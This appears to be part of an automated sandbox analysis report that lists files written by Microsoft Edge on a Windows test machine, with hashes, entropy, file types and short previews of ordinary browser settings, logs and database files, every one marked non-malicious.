SSDEEP:	6144:oqEYtZLNFqSaIpTbK6/NJU/9jXGXCq33Y0saHKk:VqSVbK6/NJU8DH
MD5:	8C8C8C9BB61AFCA23FCCEBFD185D53C7
SHA1:	B8CD5AF97D68448F404B42C2C115F95CA1D84C46
SHA-256:	39DBA421243BA204F5D7A8A4C3CC283CFC577BF7C14295AFF69FF118A1AFB73E
SHA-512:	E87226871B66FC89A8E31FCEDD73CD1FAAEDC05D93F0D556D9517DE6E5B85DFFE0AC28A6E74C8C820588D570912BB32854A705358D307F292026D0D2AD99316F
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hciaby20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\17275855-fa2a-41a2-b979-d34d709cd912.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17232), with no line terminators
Category:	dropped
Size (bytes):	17236
Entropy (8bit):	5.484457822783249
Encrypted:	false
SSDEEP:	384:stvPGQSu4isggCD5v+CVCU3JllbhbGtQwQZG:sxOXuZgCoU3JlllbGe/G
MD5:	654C007D175E5E370BD65A765AD8D5A7
SHA1:	47AB9BE3318F9EA3043497D6F5D1C5E454207B5E
SHA-256:	76F7C58EBBA4B7A4A5D2E30656E741FD2014FAF46182EFDC6177F1B82540A237
SHA-512:	8343CBFC1721406BBB52247FE24293ADC6428E07723710A7B04E48151F603A5657B7FD1E396F3633FE1952D510E87310658B1F51220C18D4C770D43516627C87
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\40016cad-18af-45a0-b454-38136ca6d732.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5e61000b-858c-486f-9d1d-cf375cbfbb9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567679310284968
Encrypted:	false
SSDEEP:	768:+O8WKtWS6W5wBxf4Z48F1+UoAYDCx9Tuqh0VfUC9xbog/OVPk8Izo+OrwXMpCtus:+VVtr6WaBxfY4u1japhnL5tX
MD5:	A5DC32DEF0B2730B73287D9AC8D86CE0
SHA1:	6CFEF8ADF26F37858D36E59E7AF07B64FCAFB865
SHA-256:	94383FAEE916D4B2DC0C93F2A2AA97D8D0A538563ABAE36EBA7C2CD450886327
SHA-512:	D114EBD8B08445BBF7654B265B5A03A0D27A642504F7B2BAC499ABC788876EBE14768DD458F9D599F14514DC08F44A83B5703970F07B6199E92BBC3135132939
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376808157700221","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376808157700221","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\85894a7b-9b25-4459-a442-f75e1a3e374c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5613969581547105
Encrypted:	false
SSDEEP:	768:+OhWItW9h7pLGLPQ6W5wBxf4c48F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiK78IzoA:+0bt6XcPQ6WaBxf74u1jaPK7hwL8kZIr
MD5:	7BFF6BBFD53BA18F93547497565D290B
SHA1:	359BFC148B65250F85D312057A008A9482D98358
SHA-256:	1280CCF7FACE1259EA64E2011BA5E57859BC2C0E22CB739681BD63B53E148BD1
SHA-512:	BA7A74210AC845F7E690BEBA6489365F642C57D00903D7ABA4A5547CA92779FA04B7E0262A66E33DD762631F440F47A56CE71DA8E09949C9CEC7CAA1E5ACA1A2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376808157700221","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376808157700221","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8f722ab8-a126-4d83-9658-1409b7cc63de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110434487271526
Encrypted:	false
SSDEEP:	192:stvkdpisggaFvrE9kjue8EbV+FjpQARU/PhYJ:stvQisggCDHbGtQTG
MD5:	891284A74C26C68EA712CA900C2FD8A6
SHA1:	6BBD8495522A1EFAF6233889F0979D5312A569AB
SHA-256:	659E36D0CCE701EB0AF1DBC4D9082E7DD97D82A2C695D00686D7BEFA82642C2B
SHA-512:	3ABB79BB223DD6E6900A7B4989B300459B7F4C86035480287B58E006FA1694311C039FDAA7CB12ADF1E5F1C5B2170C99356B79084C17F95231D8E012126946F6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9d3c5e08-7f87-4d9a-9f41-9558e2b3f27c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17581), with no line terminators
Category:	dropped
Size (bytes):	17585
Entropy (8bit):	5.479761630726235
Encrypted:	false
SSDEEP:	384:stvPGQSu4isggCD5v+CVCU3JllbObGtQwQz3G:sxOXuZgCoU3JllibGe9G
MD5:	70D00F0165C52DDB40E7E4171CFD60B2
SHA1:	4FA4D38D2A6BA07E848C6C902D299F04E45B280A
SHA-256:	39C419D0D65AEA9AB266A98526439F4541DDDF766E091721FA1B6ABF73B69008
SHA-512:	BF2E37B552FCF430BAC02DE75379A198D8CDC01572ED1386B4E1269327DBB3EEEB15FDEBAB301B36D62B31961657F5D7A186AE9F72358C8065708B3AE9741056
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.220349624690166
Encrypted:	false
SSDEEP:	6:H1B1N723oH+Tcwtp3hBtB2KLlVoHN+q2PN723oH+Tcwtp3hBWsIFUv:zaYebp3dFLAovVaYebp3eFUv
MD5:	A8B524FB8DC3BA25F612D4C25ABA19E5
SHA1:	9392CBB2E9ED96D2B7A3528B37F80C57CE2AFACF
SHA-256:	E597CEA666A7DA2897D22B67FA64D70ECC414AEF03F5EE8346543523EA6706DD
SHA-512:	AEE8A66857AF61FD1F7955E016D0B2C0CEFE72C73F0EA44BA19004AEA4C74CE2AFDF4CF728162E9F1BF070A2C89CC2FB6BC6E2ED269EE80A6B86BC7FD31F0E4D
Malicious:	false
Preview:	2024/11/22-23:02:42.923 1928 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/22-23:02:42.960 1928 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222853720127771
Encrypted:	false
SSDEEP:	24576:IbPMZpVzfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVzfx2mjF
MD5:	EA1383B4AF1E9C0EE82AEF1726F0B53F
SHA1:	1FDCD3A5A728386520A3170148F9162B6E37927C
SHA-256:	9FC729BE691293906464543B15651020F8F6E77A8D2DAB93038800170F185ED5
SHA-512:	884F3804469B7445CB81BA38E80F53552AE9D53ADEF821D7D165D145B9650CE360915D4F35C676E5E934F6220F0F939CCBA2409977370D61491682A4A9C48EEB
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.044096400101349
Encrypted:	false
SSDEEP:	6:H8/t+q2PN723oH+Tcwt9Eh1tIFUt8YpZZmw+YW/HNVkwON723oH+Tcwt9Eh15LJ:movVaYeb9Eh16FUt8EZ/+F/T5OaYeb9O
MD5:	FE1E76C8071DD7AA669086EB3F90439E
SHA1:	193016B6B865B51060A3E71D2D76280BE4932305
SHA-256:	6142346BA81FD2570FED54054DB64BD3E2A5B43AD952C4218CA674C250FFFBA1
SHA-512:	1C6AB0D142AAA0A52634ABA3B24C8189BE66E51B8B35F0487084087D55E73059428E8B5602B6D4F62AD6B8404284EA97B2C82D4A4B6DB2588F50A7ED616CE30A
Malicious:	false
Preview:	2024/11/22-23:02:42.821 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-23:02:42.822 1c28 Recovering log #3.2024/11/22-23:02:42.827 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.044096400101349
Encrypted:	false
SSDEEP:	6:H8/t+q2PN723oH+Tcwt9Eh1tIFUt8YpZZmw+YW/HNVkwON723oH+Tcwt9Eh15LJ:movVaYeb9Eh16FUt8EZ/+F/T5OaYeb9O
MD5:	FE1E76C8071DD7AA669086EB3F90439E
SHA1:	193016B6B865B51060A3E71D2D76280BE4932305
SHA-256:	6142346BA81FD2570FED54054DB64BD3E2A5B43AD952C4218CA674C250FFFBA1
SHA-512:	1C6AB0D142AAA0A52634ABA3B24C8189BE66E51B8B35F0487084087D55E73059428E8B5602B6D4F62AD6B8404284EA97B2C82D4A4B6DB2588F50A7ED616CE30A
Malicious:	false
Preview:	2024/11/22-23:02:42.821 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-23:02:42.822 1c28 Recovering log #3.2024/11/22-23:02:42.827 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46285105225849277
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuKst:TouQq3qh7z3bY2LNW9WMcUvBuF
MD5:	F2FB7AAC8AE9B0C8A5E9EC239966B5EC
SHA1:	3FC551FE0DDD8E46F0906176A6DE951B99917964
SHA-256:	70350DF0622FCAD0B73AFED72FD3DAFCBBC581093F4D2A89E010884F4CF32DBA
SHA-512:	8016F7AB6973EA15226E55B4A6719A64F56CCC8AC8AB51664EA4F451F63DF3447C7DB54BBDB926E06E06CEBF8924698233019B665280B36F887196792F37C54F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.187506959982545
Encrypted:	false
SSDEEP:	6:HZUt+q2PN723oH+TcwtnG2tMsIFUt8YGZZmw+YGNVkwON723oH+TcwtnG2tMsLJ:fvVaYebn9GFUt89Z/+9z5OaYebn95J
MD5:	FFE2A2347A90DB311B90A119A24170E3
SHA1:	3DC9B5BB21772C1C803D074F4B6E566FD952B0E5
SHA-256:	CC530BEC9A70C591EDE22990F5DB2D42F9111468D545682E30ECFAFAA67BB904
SHA-512:	0492B1FCB1D793A56F04D7CFD3591F594624592AB501B130AC17C9390254C4F54DC8755C8630B5D44CEC2FED3B7B93DD76FF81CDC75DF8B2E47DB2848A11B120
Malicious:	false
Preview:	2024/11/22-23:02:37.721 cf8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-23:02:37.736 cf8 Recovering log #3.2024/11/22-23:02:37.736 cf8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.187506959982545
Encrypted:	false
SSDEEP:	6:HZUt+q2PN723oH+TcwtnG2tMsIFUt8YGZZmw+YGNVkwON723oH+TcwtnG2tMsLJ:fvVaYebn9GFUt89Z/+9z5OaYebn95J
MD5:	FFE2A2347A90DB311B90A119A24170E3
SHA1:	3DC9B5BB21772C1C803D074F4B6E566FD952B0E5
SHA-256:	CC530BEC9A70C591EDE22990F5DB2D42F9111468D545682E30ECFAFAA67BB904
SHA-512:	0492B1FCB1D793A56F04D7CFD3591F594624592AB501B130AC17C9390254C4F54DC8755C8630B5D44CEC2FED3B7B93DD76FF81CDC75DF8B2E47DB2848A11B120
Malicious:	false
Preview:	2024/11/22-23:02:37.721 cf8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-23:02:37.736 cf8 Recovering log #3.2024/11/22-23:02:37.736 cf8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132605235549454
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jY40ppM4mL:TO8D4jJ/6Up+z
MD5:	3BCDE9336DE362E7A69ADFA24FF7C676
SHA1:	B4A7D678A34A37833527D0D0CA332A466222B554
SHA-256:	A329DF7AFE0A2B4B161B829BC7F7EFBECBCE941542D434227FBAA07807573121
SHA-512:	4E891522018D233E69970737742933A81E94D0C1318668CB591B0AE27D6247D3EE7E066B87C60ABF985CD6C3D9A56B4169C65EAEC11DFF6642BC691FAF66653B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354123518978222
Encrypted:	false
SSDEEP:	6144:3A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:3FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	88B1A24083BD466148E496E47CFC12C1
SHA1:	16E134AC2FE2B0A033F8AA8588AB13DB0DD1AEDF
SHA-256:	462AF758FAE53654C325A9B3A0464CED6F0A0628BA9CD7BF0F357F432DDA1617
SHA-512:	4085B08F8A1CEF3E543BC2B3F1F7F7200123860DDFACB90D8CE791F7C4983E1D7D436EF9E68B0111F7E1BD322E09B91F9CAD4E775D04D57541D73D5A6CC25DEB
